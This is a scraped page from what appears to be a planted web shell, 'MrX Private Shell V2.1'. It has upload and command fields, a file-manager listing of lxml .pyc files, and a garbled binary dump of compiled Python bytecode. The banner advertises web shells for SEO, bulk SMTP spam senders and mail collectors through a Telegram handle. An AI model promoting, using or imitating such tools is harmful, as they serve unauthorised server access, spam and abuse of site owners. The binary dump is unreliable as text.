__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

C��g���z�SrSSKJrJr SSKJrJr "SS5r"SS5r"SS	\R5r	g
)z�
Legacy module - don't use in new code!

html5lib now has its own proper implementation.

This module implements a tree builder for html5lib that generates lxml
html element trees.  This module uses camelCase as it follows the
html5lib style guide.
�)�_base�etree)�htmlrc��\rSrSrSrSrg)�DocumentType�c�(�XlX lX0lg�N��name�publicId�systemId)�selfrr
rs    �9/usr/lib/python3/dist-packages/lxml/html/_html5builder.py�__init__�DocumentType.__init__s���	� �
� �
�rN)�__name__�
__module__�__qualname__�__firstlineno__r�__static_attributes__�rrrrs��!rrc� �\rSrSrSrSrSrg)�Document�c� �SUl/Ulgr
��_elementTree�
childNodes�rs rr�Document.__init__s�� �����rc�j�URR5RUR5 gr
)r�getroot�addnext�_element)r�elements  r�appendChild�Document.appendChilds%�����!�!�#�+�+�G�,<�,<�=rrN)rrrrrr(rrrrrrs���>rrc�V�\rSrSr\r\rSrSr	\r
SrSrSr
SrSrSSjrS	rS
rg)�TreeBuilder� Nc���[R"[SS9n[R"[SS9nURUlURUl[RR"U/UQ70UD6 g)NF)�fullTree)�etree_builders�getETreeModulerr�Element�elementClass�Comment�commentClassrr+r)r�args�kwargs�html_builder�
etree_builders     rr�TreeBuilder.__init__'s`��%�4�4�T�E�J��&�5�5�e�e�L�
�(�0�0���)�1�1���
���"�"�4�9�$�9�&�9rc�l�[RRU5 SUl/UlSUlg)NF)rr+�reset�rootInserted�initialComments�doctyper!s rr;�TreeBuilder.reset.s-��
������%�!���!�����rc�.�URR$r
)�documentrr!s r�getDocument�TreeBuilder.getDocument4s���}�}�)�)�)rc�*�/nURSRnUR(aURUR5 UR	UR55 UR(aURUR5 U$)Nr)�openElementsr&�text�append�extend�getchildren�tail)r�fragmentr's   r�getFragment�TreeBuilder.getFragment7se�����#�#�A�&�/�/���<�<��O�O�G�L�L�)�����+�+�-�.��<�<��O�O�G�L�L�)��rc�4�URXU5nX@lgr
)�doctypeClassr>)rrr
rr>s     r�
insertDoctype�TreeBuilder.insertDoctypeAs���#�#�D�H�=���rc��UR(dURRU5 g[RRXU5 gr
)r<r=rGrr+�
insertComment)r�data�parents   rrS�TreeBuilder.insertCommentEs5��� � �� � �'�'��-����+�+�D��?rc��/nUR(a�URR(a�URSURR-5 URRcURRbBURSURR<SURR<S35 URS5 URS5 [
R"SRU55nURH(nUR[R"U55 M* UR5Ul
UR5URlUR!U5nX5lURR$RU5 UR&RU5 SUlg)	Nz<!DOCTYPE %sz	 PUBLIC "z" "�"�>z
<html></html>�T)r>rrGr
rr�
fromstring�joinr=�addpreviousrr3�
documentClassrA�getroottreerr2r&r rEr<)rr�buf�root�comment�root_elements      r�
insertRoot�TreeBuilder.insertRootKsI�����<�<�D�L�L�-�-��J�J�~����(9�(9�9�:��|�|�$�$�0�D�L�L�4I�4I�4U��
�
�$�,�,�2G�2G�26�,�,�2G�2G�I�J��J�J�s�O��
�
�?�#����r�w�w�s�|�,���+�+�G����U�]�]�7�3�4�,��*�*�,��
�%)�%5�%5�%7��
�
�"��(�(��.�� $���
�
� � �'�'��5���� � ��.� ��r)r4r>rAr2r=r<r
)rrrrrr^rrOr2r4�
fragmentClassrr;rBrLrPrSrdrrrrr+r+ s?���M��L��L��L��M�:��*���@�!rr+N)
�__doc__�html5lib.treebuildersrrr/�lxmlrrrr+rrr�<module>rjs;���A��!�!�>�>�D!�%�#�#�D!r

Filemanager

Name Type Size Permission Actions
ElementSoup.cpython-313.pyc File 574 B 0644
__init__.cpython-313.pyc File 78.33 KB 0644
_diffcommand.cpython-313.pyc File 3.78 KB 0644
_html5builder.cpython-313.pyc File 5.81 KB 0644
_setmixin.cpython-313.pyc File 2.48 KB 0644
builder.cpython-313.pyc File 5.2 KB 0644
clean.cpython-313.pyc File 588 B 0644
defs.cpython-313.pyc File 3.24 KB 0644
diff.cpython-313.pyc File 33.69 KB 0644
formfill.cpython-313.pyc File 12.25 KB 0644
html5parser.cpython-313.pyc File 9.08 KB 0644
soupparser.cpython-313.pyc File 11.53 KB 0644
usedoctest.cpython-313.pyc File 462 B 0644
Filemanager